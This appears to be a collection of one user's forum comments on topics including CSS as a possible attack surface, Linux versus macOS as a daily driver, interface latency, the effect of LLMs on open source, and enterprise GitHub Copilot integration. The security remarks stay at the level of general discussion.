While standalone CSS is not yet Turing complete, I worry about the new attack vector categories opened up by moving it towards that state. Already I believe attackers have a choice to spread the attack payload between CSS, HTML and JavaScript to evade current detectors and analysis at the network borders, and evade CSP's since we're well into undecidability territory, like using CSS attribute selectors if the CSP allows external images or fonts. But I'm far from proficient at web browser red teaming. Is this worry unfounded?
Oh yep, looks Turing complete just not performant enough for that use case. But that’s not an issue for APT-style attacks that take their sweet time. So am I off base here?
I use Linux exclusively on the backend, a Windows laptop is usually what my clients issue to me for gigs, and I migrated years ago from macOS to a Linux laptop as my personal primary daily driver (though I still use macOS, just not where I spend 90% of my personal time). I agree with Windows having its own issues like you pointed out. To be fair however, Linux and macOS daily driver experiences are also not without their annoyances.
The Linux daily driver windmills I am currently tilting at are the lack of 3D infrared sensor-based secure facial recognition. On Linux we currently are missing true 3D mapping, the option to bind the biometric data to the onboard TPM, and running the matching in something like the Protected Media Path stack Windows uses, so Linux facial recognition solutions like Howdy are not as secure as on Windows.
Other deep gaps in the Linux daily driver role are not having a solution to encrypt our disks and hibernate under Secure Boot, nor a comprehensive common application framework for power management like Apple's IOKit and IOPowerSources so my Linux laptop gets far less battery life than my macOS laptop. Linux has many different ways for applications to participate in power management, so as a result there isn't a single way for the applications to cooperatively negotiate for this centralized scarce resource based upon user preferences.
But the death by a thousand tiny cuts I was experiencing on macOS led me to reluctantly conclude I'd rather face the thousand tiny cuts in Linux where at least I have the option to go to the source and address or fix it myself a particular cut got annoying enough. In my clients' corporate land, I hide behind a small army of desktop teams that grind away most of the annoyances you list (mainly through the pricing discrimination magic of Windows enterprise licensing).
I've resigned myself to not hold out hope for re-experiencing what I felt was my personal peak user experience of the early 2000's PowerPC PowerBook and Intel MacBook Pro and early Mac OS X. It was a portable Unix workstation that could run a full virtual Windows box inside, giving me the best of all worlds, and It Just Works bled into every nook and cranny of the entire stack.
I believe a lot of it came down to that Steve Jobs was an intensely personal user of his own products from the perspective of someone doing it himself as much as someone who is the head of a multinational multi-billion dollar corporation could be, with as little corporate desktop support as necessary, and he had an extreme intolerance for annoyances in the small details.
Linux as a daily driver has many, many rough edges. But at least I can durably contribute into it as I solve my own annoying small details, and hope a flywheel effect eventually takes place in the future.
> Regardless of OS, they all seem extremely fast, and feel faster and faster as time goes on.
The modern throughput is faster by far. However, what some people mean when they talk about "slower" is the latency snappiness that characterizes early microcomputer systems. That has definitely gotten way worse in an empirically measurable fashion.
Dan Luu's article explains this very well [1].
It is difficult today to go through that lived experience of that low latency today because you don't appreciate it until you lived it for years. Few people have access to an Apple ][ rig with a composite monitor for years on end any longer. The hackers that experienced that low latency never forgot it, because the responsiveness feels like a fluid extension of your thoughts in a way higher latency systems cannot match.
I wonder if this ties into why I'm baffled at the increasing trend of adding fake delays (f/ex "view transitions"). It's maddening to me. It's generally not a masking/performance delay either; I've recompiled a number of android apps for example to remove these sorts of things, and some actions that took an entire second to complete previously happen instantly after modification.
Ohhhh trust me, I have, assuming you mean "Disable animations". The three duration scale developer settings too. Thank you for suggesting it, though, just in case.
Some apps do respect it, but sometimes it's hardcoded, and OS settings don't seem to override it. Even the OS doesn't respect it in some cases, but I think it used to. Flutter apps? Forget about it.
A really annoying thing I've run into is that lots of libraries/frameworks/etc will have shortcuts to introduce this delay, to avoid "pop-in" of lazy-loaded stuff.
Like, yeah, pop-in looks a little weird, but suddenly APIs are making that one Mass Effect elevator into a first-class feature...
We still don’t have truly transparent transference in locally-run software. Go anywhere in the world, and your locally running software tags along with precisely preserved state no matter what device you happen to be dragging along with you, with device-appropriate interfacing.
We still don’t have single source documentation with lineage all the way back to the code.
We still don’t treat introspection and observability as two sides of a troubleshooting coin (I think there are more “sides” but want to keep the example simple). We do not have the kind of introspection on modern hardware that Lisp Machines had, and SOTA observability conversations still revolve around sampling enough at the right places to make up for that.
We still don’t have coordination planes, databases, and systems in general capable of absorbing the volume of queries generated by LLM’s. Even if LLM models themselves froze their progress as-is, they’re plenty sophisticated enough when deployed en masse to overwhelm existing data infrastructure.
The list is endless.
IMHO our software world has never been so fertile with possibilities.
> ...nothing replaces the camraderie of the small, local BBSs.
Nothing quite replaces the drama level and drama complexity of the small, local BBSs. Especially when the denizens met in the big room with the blue ceiling.
Disagree only in the sense that I think the drama escalated a bit in the interregnum, as the BBS scene merged into one large if fragmentary collective on the internet. Empirical evidence for that extreme level of drama and complexity here:
Even as the field evolves, the phoning home telemetry of closed models creates a centralized intelligence monopoly. If open source atrophies, we lose the public square of architectural and design reasoning, the decision graph that is often just as important as the code. The labs won't just pick up new patterns; they will define them, effectively becoming the high priests of a new closed-loop ecosystem.
However, the risk isn't just a loss of "truth," but model collapse. Without the divergent, creative, and often weird contributions of open-source humans, AI risks stagnating into a linear combination of its own previous outputs. In the long run, killing the commons doesn't just make the labs powerful. It might make the technology itself hit a ceiling because it's no longer being fed novel human problem-solving at scale.
Humans will likely continue to drive consensus building around standards. The governance and reliability benefits of open source should grow in value in an AI-codes-it-first world.
> It might make the technology itself hit a ceiling because it's no longer being fed novel human problem-solving at scale.
My read of the recent discussion is that people assume that the work of far fewer number of elites will define the patterns for the future. For instance, implementation of low-level networking code can be the combination of patterns of zeromq. The underlying assumption is that most people don't know how to write high-performance concurrent code anyway, so why not just ask them to command the AI instead.
> The underlying assumption is that most people don't know how to write high-performance concurrent code anyway, so why not just ask them to command the AI instead.
The data economics reflexivity of LLM input means that when you reduce the future volume of that input to the few experts who "know how to write X anyway", the LLM labs just lost one of the most important inputs. All those non-experts who voted with their judgement and left in the wake of their effort to use the expert-written code, grist for the LLM input weighing mill.
I find it is usually the non-experts that run into the sharp operational edges the experts didn't think of. When you throw the non-experts out of the marketplace of ideas, you're often left with hazardous tooling that would just as soon cut your hand off than help you. It would be a hoot if the LLM's and experts decided to output everything and training in Common Lisp, though.
If handed just Babbage's Difference Engine, or the PDP-11 Unix V7 source code and nothing else, LLM's could speed-run and eventually re-derive the analogs of Zig, ffmpeg, YouTube, and themselves, I'll grant that "just let them cook with the experts" is a valid strategy. The information imparted by the activity around the source code is deeply recursive, and absent that I'm not sure how the labs are going to escape a local minima they're digging themselves into by materially shrinking that activity. If my hypothesis is correct, then LLM labs are industrial-scale stripping away the very topsoil that their products rely upon, and it is a single-turn cheap game that gets enormously more expensive in further iterations to create synthetic topsoil.
There is no shortage of Olympic hopeful elite athletes every four years, despite the incredibly small pool of competitors at each Games.
Same for musicians.
This kind of Winner-Take-All Economics or Superstar Market is what capital wants in their ideal world in markets with near-zero marginal costs of distribution. Even if software creation in the long-term does not fall to this kind of labor market, LLM's can establish a "market can be irrational longer than you can stay solvent" dynamic where capital can run the labor market like this for software for a generation or three before having to face the reflexivity music, like they did for US manufacturing.
And it mostly happens in government funded and/or commercially viable sports, with public schools where kids train for free, scholarships, numerous competitions etc.
To gather those selected elites we take an enormous pool of aspiring athletes and support them from the ground up (usually with our taxes)
Where such support systems don’t exist you have a relatively shallow talent pool, and the best performers are a far cry from what could have been possible otherwise
We're probably close enough to a future with the technology and engineering able to implement it, to justify designing 48-bit perceptual bit depth standards. Optimistically presuming breakthroughs enabling in vivo biological upgrades to our eyes to match those of mantis shrip, we could design 160-bit standards knowing that is a "proven" biological technology capability. That gets within the same galactic supercluster of the known limits of physics limits.
At the currently known limits of physics where Heisenberg Uncertainty Principle, Abbe's Limit, Quantum Shot Noise and such become our sensing barriers, we suspect we need only about 6000 bits per pixel to represent a digital twin of the electromagnetic field of the sensor-covered volume of space. At 60 fps, that is 1.8 Zettabits per second. Scale out data volume accordingly when using using 18.5 sexdecillion fps (Planck time fps).
What surprises me is these "limits of the fabric of reality as we know it" mind experiments fairly concretely point the way on the many roads towards Kardashev Scale implementations, and is not that different from Archimedes' "Sand Reckoner" and Hindu cosmological Kalpa time scales. History doesn't quite repeat, but rhymes yet again.
This I strongly suspect is the crux of the boundaries of their current usefulness. Without accompanying legibility/visibility into the lineage of those decisions, LLM's will be unable to copy the reasoning behind the "why", missing out on a pile of context that I'm guessing is necessary (just like with people) to come up to speed on the decision flow going forward as the mathematical space for the gradient descent to traverse gets both bigger and more complex.
We're already seeing glimmers of this as the frontier labs are reporting that explaining the "why" behind prompts is getting better results in a non-trivial number of cases.
I wonder whether we're barely scratching the surface of just how powerful natural language is.
The challenge not addressed with this line of reasoning is the required sheer scale of output validation on the backend of LLM-generated code. Human hand-developed code was no great shakes at the validation front either, but the scale difference hid this problem.
I’m hopeful what used to be tedious about the software development process (like correctness proving or documentation) becomes tractable enough with LLM’s to make the scale more manageable for us. That’s exciting to contemplate; think of the complexity categories we can feasibly challenge now!
In the enterprise deployments of GitHub Copilot I've seen at my clients that authenticate over SSO (typically OIDC with OAuth 2.0), connecting Copilot to anything outside of what Microsoft has integrated means reverse engineering the closed authentication interface. I've yet to run across someone's enterprise Github Copilot where the management and administrators have enabled the integration (the sites have enabled access to Anthropic models within the Copilot interface, but not authorized the integration to Claude Code, Opencode, or similar LLM coding orchestration tooling with that closed authentication interface).
While this is likely feasible, I imagine it is also an instant fireable offense at these sites if not already explicitly directed by management. Also not sure how Microsoft would react upon finding out (never seen the enterprise licensing agreement paperwork for these setups). Someone's account driving Claude Code via Github Copilot will also become a far outlier of token consumption by an order(s) of magnitude, making them easy to spot, compared to their coworkers who are limited to the conventional chat and code completion interfaces.
If someone has gotten the enterprise Github Copilot integration to work with something like Claude Code though (simply to gain access to the models Copilot makes available under the enterprise agreement, in a blessed golden path by the enterprise), then I'd really like to know how that was done on both the non-technical and technical angles, because when I briefly looked into it all I saw were very thorny, time-consuming issues to untangle.
Outside those environments, there are lots of options to consume Claude Code via Github Copilot like with Visual Studio Code extensions. So much smaller companies and individuals seem to be at the forefront of adoption for now. I'm sure this picture will improve, but the rapid rate of change in the field means those whose work environment is like those enterprise constrained ones I described but also who don't experiment on their own will be quite behind the industry leading edge by the time it is all sorted out in the enterprise context.
reply